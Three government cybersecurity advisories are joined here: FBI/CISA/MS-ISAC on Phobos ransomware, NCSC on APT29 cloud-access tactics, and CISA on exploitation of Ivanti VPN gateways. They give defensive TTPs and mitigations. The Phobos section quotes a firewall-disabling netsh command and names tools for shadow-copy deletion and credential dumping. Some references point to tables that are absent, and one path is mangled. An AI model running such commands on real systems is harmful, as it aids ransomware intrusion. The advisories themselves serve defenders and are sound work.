Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA, to disseminate known TTPs and IOCs associated with the Phobos ransomware variants observed as recently as February 2024, according to open source reporting. Phobos is structured as a ransomware-as-a-service (RaaS) model. Since May 2019, Phobos ransomware incidents impacting state, local, tribal, and territorial (SLTT) governments have been regularly reported to the MS-ISAC. These incidents targeted municipal and county governments, emergency services, education, public healthcare, and other critical infrastructure entities to successfully ransom several million U.S. dollars.[1],[2]
The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of Phobos ransomware and other ransomware incidents.
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
According to open source reporting, Phobos ransomware is likely connected to numerous variants (including Elking, Eight, Devos, Backmydata, and Faust ransomware) due to similar TTPs observed in Phobos intrusions. Phobos ransomware operates in conjunction with various open source tools such as Smokeloader, Cobalt Strike, and Bloodhound. These tools are all widely accessible and easy to use in various operating environments, making it (and associated variants) a popular choice for many threat actors.[3],[4]
Reconnaissance and Initial Access
Phobos actors typically gain initial access to vulnerable networks by leveraging phishing campaigns [T1598] to drop hidden payloads or using internet protocol (IP) scanning tools, such as Angry IP Scanner, to search for vulnerable Remote Desktop Protocol (RDP) ports [T1595.001] or by leveraging RDP on Microsoft Windows environments.[5],[6]
Once they discover an exposed RDP service, the actors use open source brute force tools to gain access [T1110]. If Phobos actors gain successful RDP authentication [T1133][T1078] in the targeted environment, they perform open source research to create a victim profile and connect the targeted IP addresses to their associated companies [T1593]. Threat actors leveraging Phobos have notably deployed remote access tools to establish a remote connection within the compromised network [T1219].[7]
Alternatively, threat actors send spoofed email attachments [T1566.001] that are embedded with hidden payloads [T1204.002] such as SmokeLoader, a backdoor trojan that is often used in conjunction with Phobos. After SmokeLoader’s hidden payload is downloaded onto the victim’s system, threat actors use the malware’s functionality to download the Phobos payload and exfiltrate data from the compromised system.
Execution and Privilege Escalation
Phobos actors run executables like 1saas.exe or cmd.exe to deploy additional Phobos payloads that have elevated privileges enabled [TA0004]. Additionally, Phobos actors can use the previous commands to perform various windows shell functions. The Windows command shell enables threat actors to control various aspects of a system, with multiple permission levels required for different subsets of commands [T1059.003][T1105].[8]
Smokeloader Deployment
Phobos operations feature a standard three phase process to decrypt a payload that allows the threat actors to deploy additional destructive malware.[9]
For the first phase, Smokeloader manipulates either VirtualAlloc or VirtualProtect API functions—which opens an entry point, enabling code to be injected into running processes and allowing the malware to evade network defense tools [T1055.002]. In the second phase, a stealth process is used to obfuscate command and control (C2) activity by producing requests to legitimate websites [T1001.003].[10]
Within this phase, the shellcode also sends a call from the entry point to a memory container [T1055.004] and prepares a portable executable for deployment in the final stage [T1027.002][T1105][T1140].
Finally, once Smokeloader reaches its third stage, it unpacks a program-erase cycle from stored memory, which is then sent to be extracted from a SHA 256 hash as a payload.[7] Following successful payload decryption, the threat actors can begin downloading additional malware.
Additional Phobos Defense Evasion Capabilities
Phobos ransomware actors have been observed bypassing organizational network defense protocols by modifying system firewall configurations using commands like netsh firewall set opmode mode=disable [T1562.004]. Additionally, Phobos actors can evade detection by using the following tools: Universal Virus Sniffer, Process Hacker, and PowerTool [T1562].
Persistence and Privilege Escalation
According to open source reporting, Phobos ransomware uses commands such as Exec.exe or the bcdedit[.]exe control mechanism. Phobos has also been observed using Windows Startup folders and Run Registry Keys such as C:/UsersAdminAppDataLocaldirectory [T1490][T1547.001] to maintain persistence within compromised environments.[5]
Additionally, Phobos actors have been observed using built-in Windows API functions [T1106] to steal tokens [T1134.001], bypass access controls, and create new processes to escalate privileges by leveraging the SeDebugPrivilege process [T1134.002]. Phobos actors attempt to authenticate using cached password hashes on victim machines until they reach domain administrator access [T1003.005].
Discovery and Credential Access
Phobos actors additionally use open source tools [T1588.002] such as Bloodhound and Sharphound to enumerate the active directory [T1087.002]. Mimikatz and NirSoft, as well as Remote Desktop Passview to export browser client credentials [T1003.001][T1555.003], have also been used. Furthermore, Phobos ransomware is able to enumerate connected storage devices [T1082], running processes [T1057], and encrypt user files [T1083].
Exfiltration
Phobos actors have been observed using WinSCP and Mega.io for file exfiltration.[11] They use WinSCP to connect directly from a victim network to an FTP server [T1071.002] they control [TA0010]. Phobos actors install Mega.io [T1048] and use it to export victim files directly to a cloud storage provider [T1567.002]. Data is typically archived as either a .rar or .zip file [T1560] to be later exfiltrated. They target legal documentation, financial records, technical documents (including network architecture), and databases for commonly used password management software [T1555.005].
Impact
After the exfiltration phase, Phobos actors then hunt for backups. They use vssadmin.exe and Windows Management Instrumentation command-line utility (WMIC) to discover and delete volume shadow copies in Windows environments. This prevents victims from recovering files after encryption has taken place [T1047][T1490].
Phobos.exe contains functionality to encrypt all connected logical drives on the target host [T1486]. Each Phobos ransomware executable has unique build identifiers (IDs), affiliate IDs, as well as a unique ransom note which is embedded in the executable. After the ransom note has populated on infected workstations, Phobos ransomware continues to search for and encrypt additional files.
Most extortion [T1657] occurs via email; however, some affiliate groups have used voice calls to contact victims. In some cases, Phobos actors have used onion sites to list victims and host stolen victim data. Phobos actors use various instant messaging applications such as ICQ, Jabber, and QQ to communicate [T1585]. See Figure 2 for a list of email providers used by the following Phobos affiliates: Devos, Eight, Elbie, Eking, and Faust.[6]
INDICATORS OF COMPROMISE (IOCs)
See Table 1 through 6 for IOCs obtained from CISA and the FBI investigations from September through November 2023.
The commands above are observed during the execution of a Phobos encryption executable. A Phobos encryption executable spawns a cmd.exe process, which then executes the commands listed in Table 1 with their respective Windows system executables. When the commands above are executed on a Windows system, volume shadow copies are deleted and Windows Firewall is disabled. Additionally, the system’s boot status policy is set to boot even when there are errors during the boot process, and automatic recovery options, like Windows Recovery Environment (WinRE), are disabled for the given boot entry. The system’s backup catalog is also deleted. Finally, the Phobos ransom note is displayed to the end user using mshta.exe.
Disclaimer: Organizations are encouraged to investigate the use of the IOCs in Table 7 for related signs of compromise prior to performing remediation actions.
Table 7: Phobos IOCs from September through December 2023
Disclaimer: Organizations are encouraged to investigate the use of the file hashes in Tables 8 and 9 for related signs of compromise prior to performing remediation actions.
Table 8: Phobos Actor File Hashes Observed in October 2023
Following successful RDP authentication, Phobos actors search for IP addresses and pair them with their associated computer to create a victim profile.
Phobos actors use Smokeloader to inject code into running processes to identify an entry point through enabling a VirtualAlloc or VirtualProtect process.
Phobos threat actors may delete or remove backups to include volume shadow copies from Windows environments to prevent victim data recovery response efforts.
Phobos threat actor’s extort victims for financial gain.
MITIGATIONS
Secure by Design and Default Mitigations:
These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and MS-ISAC recommend that software manufacturers incorporate secure by design and default principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the secure posture for their customers.
The FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture against actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Implement application controls to manage and control execution of software, including allowlisting remote access programs.
Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlist solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
Implement log collection best practices and use intrusion detection systems to defend against threat actors manipulating firewall configurations through early detection [CPG 2.T].
Implement EDR solutions to disrupt threat actor memory allocation techniques.
Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
Audit the network for systems using RDP.
Close unused RDP ports.
Enforce account lockouts after a specified number of attempts.
Disable command-line and scripting activities and permissions [CPG 2.N].
Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C].
Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege (PoLP) [CPG 2.E].
Reduce the threat of credential compromise via the following:
Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.
Refrain from storing plaintext credentials in scripts.
Implement time-based access for accounts at the admin level and higher [CPG 2.A, 2.E].
In addition, the authoring authorities of this CSA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the impact and risk of compromise by ransomware or data extortion actors:
Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, or the cloud).
Maintain offline backups of data and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization limits the severity of disruption to its business practices [CPG 2.R].
Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST’s standards for developing and managing password policies.
Use longer passwords consisting of at least 15 characters and no more than 64 characters in length [CPG 2.B].
Store passwords in hashed format using industry-recognized password managers.
Add password user “salts” to shared login credentials.
Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
Require administrator credentials to install software.
Require phishing-resistant multifactor authentication (MFA) for all services to the extent possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems [CPG 2.H].
Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic and activity, including lateral movement, on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
Install, regularly update, and enable real time detection for antivirus software on all hosts.
Consider adding an email banner to emails received from outside your organization [CPG 2.M].
Disable hyperlinks in received emails.
Ensure all backup data is encrypted, immutable (i.e., ensure backup data cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see Tables 4-16).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom-note, communications with Phobos actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details requested include: a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host and network-based indicators.
The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA at report@cisa.gov or (888) 282-0870.
DISCLAIMER
The FBI does not conduct its investigative activities or base attribution solely on activities protected by the First Amendment. Your company has no obligation to respond or provide information back to the FBI in response to this engagement. If, after reviewing the information, your company decides to provide referral information to the FBI, it must do so in a manner consistent with federal law. The FBI does not request or expect your company to take any particular action regarding this information other than holding it in confidence due to its sensitive nature.
The information in this report is being provided “as is” for informational purposes only. The FBI and CISA not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, and the MS-ISAC.
ACKNOWLEDGEMENTS
The California Joint Regional Intelligence Center (JRIC, CA) and Israel National Cyber Directorate (INCD) contributed to this CSA.
How SVR-Attributed Actors are Adapting to the Move of Government and Corporations to Cloud Infrastructure
OVERVIEW
This advisory details recent tactics, techniques, and procedures (TTPs) of the group commonly known as APT29, also known as Midnight Blizzard, the Dukes, or Cozy Bear.
The UK National Cyber Security Centre (NCSC) and international partners assess that APT29 is a cyber espionage group, almost certainly part of the SVR, an element of the Russian intelligence services. The US National Security Agency (NSA), the US Cybersecurity and Infrastructure Security Agency (CISA), the US Cyber National Mission Force (CNMF), the Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (CCCS), and New Zealand Government Communications Security Bureau (GCSB) agree with this attribution and the details provided in this advisory.
This advisory provides an overview of TTPs deployed by the actor to gain initial access into the cloud environment and includes advice to detect and mitigate this activity.
To download the PDF version of this report, click here.
PREVIOUS ACTOR ACTIVITY
The NCSC has previously detailed how Russian Foreign Intelligence Service (SVR) cyber actors have targeted governmental, think tank, healthcare, and energy targets for intelligence gain. It has now observed SVR actors expanding their targeting to include aviation, education, law enforcement, local and state councils, government financial departments, and military organizations.
As organizations continue to modernize their systems and move to cloud-based infrastructure, the SVR has adapted to these changes in the operating environment.
They have to move beyond their traditional means of initial access, such as exploiting software vulnerabilities in an on-premises network, and instead target the cloud services themselves.
To access the majority of the victims’ cloud hosted network, actors must first successfully authenticate to the cloud provider. Denying initial access to the cloud environment can prohibit SVR from successfully compromising their target. In contrast, in an on-premises system, more of the network is typically exposed to threat actors.
Below describes in more detail how SVR actors are adapting to continue their cyber operations for intelligence gain. These TTPs have been observed in the last 12 months.
ACCESS VIA SERVICE AND DORMANT ACCOUNTS
Previous SVR campaigns reveal the actors have successfully used brute forcing [T1110] and password spraying to access service accounts. This type of account is typically used to run and manage applications and services. There is no human user behind them so they cannot be easily protected with multi-factor authentication (MFA), making these accounts more susceptible to a successful compromise. Service accounts are often also highly privileged depending on which applications and services they’re responsible for managing. Gaining access to these accounts provides threat actors with privileged initial access to a network, to launch further operations.
SVR campaigns have also targeted dormant accounts belonging to users who no longer work at a victim organization but whose accounts remain on the system [T1078.004].
Following an enforced password reset for all users during an incident, SVR actors have also been observed logging into inactive accounts and following instructions to reset the password. This has allowed the actor to regain access following incident response eviction activities.
CLOUD-BASED TOKEN AUTHENTICATION
Account access is typically authenticated by either username and password credentials or system-issued access tokens. The NCSC and partners have observed SVR actors using tokens to access their victims’ accounts, without needing a password [T1528].
The default validity time of system-issued tokens varies dependent on the system; however, cloud platforms should allow administrators to adjust the validity time as appropriate for their users. More information can be found on this in the mitigations section of this advisory.
ENROLLING NEW DEVICES TO THE CLOUD
On multiple occasions, the SVR have successfully bypassed password authentication on personal accounts using password spraying and credential reuse. SVR actors have also then bypassed MFA through a technique known as “MFA bombing” or “MFA fatigue,” in which the actors repeatedly push MFA requests to a victim’s device until the victim accepts the notification [T1621].
Once an actor has bypassed these systems to gain access to the cloud environment, SVR actors have been observed registering their own device as a new device on the cloud tenant [T1098.005]. If device validation rules are not set up, SVR actors can successfully register their own device and gain access to the network.
By configuring the network with device enrollment policies, there have been instances where these measures have defended against SVR actors and denied them access to the cloud tenant.
RESIDENTIAL PROXIES
As network-level defenses improve detection of suspicious activity, SVR actors have looked at other ways to stay covert on the internet. A TTP associated with this actor is the use of residential proxies [T1090.002]. Residential proxies typically make traffic appear to originate from IP addresses within internet service provider (ISP) ranges used for residential broadband customers and hide the true source. This can make it harder to distinguish malicious connections from typical users. This reduces the effectiveness of network defenses that use IP addresses as indicators of compromise, and so it is important to consider a variety of information sources such as application and host-based logging for detecting suspicious activity.
CONCLUSION
The SVR is a sophisticated actor capable of carrying out a global supply chain compromise such as the 2020 SolarWinds, however the guidance in this advisory shows that a strong baseline of cyber security fundamentals can help defend from such actors.
For organizations that have moved to cloud infrastructure, a first line of defense against an actor such as SVR should be to protect against SVR’s TTPs for initial access. By following the mitigations outlined in this advisory, organizations will be in a stronger position to defend against this threat.
Once the SVR gain initial access, the actor is capable of deploying highly sophisticated post compromise capabilities such as MagicWeb, as reported in 2022. Therefore, mitigating against the SVR’s initial access vectors is particularly important for network defenders.
Some of the TTPs listed in this report, such as residential proxies and exploitation of system accounts, are similar to those reported as recently as January 2024 by Microsoft.
MITRE ATT&CK®
This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
Accounts that cannot use 2SV should have strong, unique passwords. User and system accounts should be disabled when no longer required with a “joiners, movers, and leavers” process in place and regular reviews to identify and disable inactive/dormant accounts. See NCSC guidance: 10 Steps to Cyber Security.
System and service accounts should implement the principle of least privilege, providing tightly scoped access to resources required for the service to function.
Canary service accounts should be created which appear to be valid service accounts but are never used by legitimate services. Monitoring and alerting on the use of these account provides a high confidence signal that they are being used illegitimately and should be investigated urgently.
Session lifetimes should be kept as short as practical to reduce the window of opportunity for an adversary to use stolen session tokens. This should be paired with a suitable authentication method that strikes a balance between regular user authentication and user experience.
Ensure device enrollment policies are configured to only permit authorized devices to enroll. Use zero-touch enrollment where possible, or if self-enrollment is required then use a strong form of 2SV that is resistant to phishing and prompt bombing. Old devices should be prevented from (re)enrolling when no longer required. See NCSC guidance: Device Security Guidance.
Consider a variety of information sources such as application events and host-based logs to help prevent, detect and investigate potential malicious behavior. Focus on the information sources and indicators of compromise that have a better rate of false positives. For example, looking for changes to user agent strings that could indicate session hijacking may be more effective than trying to identify connections from suspicious IP addresses. See NCSC guidance: Introduction to Logging for Security Purposes.
DISCLAIMER
This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.
This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.
The Cybersecurity and Infrastructure Security Agency (CISA) and the following partners (hereafter referred to as the authoring organizations) are releasing this joint Cybersecurity Advisory to warn that cyber threat actors are exploiting previously identified vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways. CISA and authoring organizations appreciate the cooperation of Volexity, Ivanti, Mandiant and other industry partners in the development of this advisory and ongoing incident response activities. Authoring organizations:
Federal Bureau of Investigation (FBI)
Multi-State Information Sharing & Analysis Center (MS-ISAC)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
United Kingdom National Cyber Security Centre (NCSC-UK)
Canadian Centre for Cyber Security (Cyber Centre), a part of the Communications Security Establishment
New Zealand National Cyber Security Centre (NCSC-NZ)
CERT-New Zealand (CERT NZ)
Of particular concern, the authoring organizations and industry partners have determined that cyber threat actors are able to deceive Ivanti’s internal and external Integrity Checker Tool (ICT), resulting in a failure to detect compromise.
Cyber threat actors are actively exploiting multiple previously identified vulnerabilities—CVE-2023-46805, CVE-2024-21887, and CVE-2024-21893—affecting Ivanti Connect Secure and Ivanti Policy Secure gateways. The vulnerabilities impact all supported versions (9.x and 22.x) and can be used in a chain of exploits to enable malicious cyber threat actors to bypass authentication, craft malicious requests, and execute arbitrary commands with elevated privileges.
During multiple incident response engagements associated with this activity, CISA identified that Ivanti’s internal and previous external ICT failed to detect compromise. In addition, CISA has conducted independent research in a lab environment validating that the Ivanti ICT is not sufficient to detect compromise and that a cyber threat actor may be able to gain root-level persistence despite issuing factory resets.
The authoring organizations encourage network defenders to (1) assume that user and service account credentials stored within the affected Ivanti VPN appliances are likely compromised, (2) hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory, (3) run Ivanti’s most recent external ICT, and (4) apply available patching guidance provided by Ivanti as version updates become available. If a potential compromise is detected, organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.
Based upon the authoring organizations’ observations during incident response activities and available industry reporting, as supplemented by CISA’s research findings, the authoring organizations recommend that the safest course of action for network defenders is to assume a sophisticated threat actor may deploy rootkit level persistence on a device that has been reset and lay dormant for an arbitrary amount of time. For example, as outlined in PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure), sophisticated actors may remain silent on compromised networks for long periods. The authoring organizations strongly urge all organizations to consider the significant risk of adversary access to, and persistence on, Ivanti Connect Secure and Ivanti Policy Secure gateways when determining whether to continue operating these devices in an enterprise environment.
This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques in Appendix C for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
On January 10, 2024, Volexity reported on two vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways observed being chained to achieve unauthenticated remote code execution (RCE):[1]
Volexity first identified active exploitation in early December 2023, when they detected suspicious lateral movement [TA0008] on the network of one of their network security monitoring service customers. Volexity identified that threat actors exploited the vulnerabilities to implant web shells, including GLASSTOKEN and GIFTEDVISITOR, on internal and external-facing web servers [T1505.003]. Once successfully deployed, these web shells are used to execute commands on compromised devices.[1]
After Ivanti provided initial mitigation guidance in early January, threat actors developed a way to bypass those mitigations to deploy BUSHWALK, LIGHTWIRE, and CHAINLINE web shell variants.[2] Following the actors’ developments, Ivanti disclosed three additional vulnerabilities:
CVE-2024-21893 is a server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) Ivanti Policy Secure (9.x, 22.x), and Ivanti Neurons for ZTA that allows an attacker to access restricted resources without authentication.
CVE-2024-22024 is an XML vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and ZTA gateways that allows an attacker to access restricted resources without authentication.
CVE-2024-21888 is a privilege escalation vulnerability found in the web component of Ivanti Connect Secure and Ivanti Policy Secure. This vulnerability allows threat actors to gain elevated privileges to that of an administrator.
Observed Threat Actor Activity
CISA has responded to multiple incidents related to the above vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways. In these incidents, actors exploited these CVEs for initial access to implant web shells and to harvest credentials stored on the devices. Post-compromise, the actors moved laterally into domain environments and have been observed leveraging tools that are native to the Ivanti appliances—such as freerdp, ssh, telnet, and nmap libraries—to expand their access to the domain environment. The result, in some cases, was a full domain compromise.
During incident response investigations, CISA identified that Ivanti’s internal and external ICT failed to detect compromise. The organizations leveraged the integrity checker to identify file mismatches in Ivanti devices; however, CISA incident response analysis confirmed that both the internal and external versions of the ICT were not reliable due to the existence of web shells found on systems that had no file mismatches according to the ICTs. Additionally, forensic analysis showed evidence the actors were able to clean up their efforts by overwriting files, time-stomping files, and re-mounting the runtime partition to return the appliance to a “clean state.” This reinforces that ICT scans are not reliable to indicate previous compromise and can result in a false sense of security that the device is free of compromise.
As detailed in Appendix A, CISA conducted independent research in a lab environment validating that the ICT is likely insufficient for detecting compromise and that a cyber threat actor may be able to maintain root level persistence despite issuing factory resets and appliance upgrades.
INDICATORS OF COMPROMISE
See Tables 1 – 4 in Appendix B for IOCs related to cyber actors exploiting multiple CVEs related to Ivanti appliances.
Memory and disk forensics were used during forensic analysis, combined with the Integrity Checker Tool, to identify malicious files on the compromised Ivanti Connect Secure VPN appliance. This advisory provides a list of combined authoring organization IOCs and open source files identified by Volexity via network analysis.
Disclaimer: Some IP addresses in this advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action such as blocking. Activity should not be attributed as malicious without analytical evidence to support it is used at the direction of, or controlled by, threat actors.
The authoring organizations encourage you to assess your organization’s user interface (UI) software and systems for evidence of compromise and to hunt for malicious activity using signatures outlined within this advisory. If compromise is suspected or detected, organizations should assume that threat actors hold full administrative access and can perform all tasks associated with the Ivanti Connect Secure VPN appliance as well as executing arbitrary code and installing malicious payloads.
Note: These are vendor-managed appliances and systems may be encrypted with limited access. Thus, collecting artifacts may be limited on some versions of appliances. The authoring organizations recommend investigating associated devices on the network to identify lateral movement in the absence of access to the Secure Connect appliance.
If a potential compromise is detected, organizations should:
Quarantine or take offline potentially affected hosts.
Reimage compromised hosts.
Reset all credentials that may have been exposed during the compromise, including user and service accounts.
Identify Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol (LDAP) and AD.
Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
Report the compromise to FBI Internet Crime Complaint Center (IC3) at IC3.gov, local FBI field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722). Organizations outside of the United States should contact their national cyber center. (See the Reporting section.)
MITIGATIONS
These mitigations apply to all critical infrastructure organizations and network defenders using Ivanti Connect Secure VPN and Ivanti Policy Secure. The authoring organizations recommend that software manufacturers incorporate Secure by Design principles and tactics into their software development practices. These principles and tactics can limit the impact of exploitation—such as threat actors leveraging newly discovered, unpatched vulnerabilities within Ivanti appliances—thus, strengthening the secure posture for their customers.
The authoring organizations recommend organizations implement the mitigations below to improve your cybersecurity posture based on threat actor activity and to reduce the risk of compromise associated with Ivanti vulnerabilities. These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
As organizations make risk decisions in choosing a VPN, to include decisions regarding continued operation of Ivanti Connect Secure and Policy Secure gateways, avoid VPN solutions that use proprietary protocols or non-standard features. VPNs as a class of devices carry some specific risks that a non-expert implementer may trigger (e.g., authentication integration and patching). When choosing a VPN, organizations should consider vendors who:
Provide a Software Bill of Materials (SBOM) to proactively identify, and enable remediation of, embedded software vulnerabilities, such as deprecated operating systems.
Allow a restore from trusted media to establish a root of trust. If the software validation tooling can be modified by the software itself, there is no way to establish a root of trust other than returning the device to the manufacturer (return material authorization [RMA]).
Are a CVE Numbering Authority (CNA) so that CVEs are assigned to emerging vulnerabilities in a timely manner.
Have a public Vulnerability Disclosure Policy (VDP) to enable security researchers to proactively share and disclose vulnerabilities through coordinated vulnerability disclosure (CVD).
Have in place a clear end-of-life policy (EoL) to prepare customers for updating to supported product versions.
Limit outbound internet connections from SSL VPN appliances to restrict access to required services. This will limit the ability of an actor to download tools or malware onto the device or establish outbound connections to command and control (C2) servers.
Ensure SSL VPN appliances configured with Active Directory or LDAP authentication use low privilege accounts for the LDAP bind.
Limit SSL VPN connections to unprivileged accounts only to help limit the exposure of privileged account credentials.
Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
Secure remote access tools.
Implement application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
Strictly limit the use of Remote Desktop Protocols (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
Audit the network for systems using RDP.
Close unused RDP ports.
Enforce account lockouts after a specified number of attempts.
Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST’s standards for developing and managing password policies.
Use longer passwords consisting of at least 15 characters [CPG 2.B].
Store passwords in hashed format using industry-recognized password managers.
Add password user “salts” to shared login credentials.
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how the controls perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (Appendix C).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
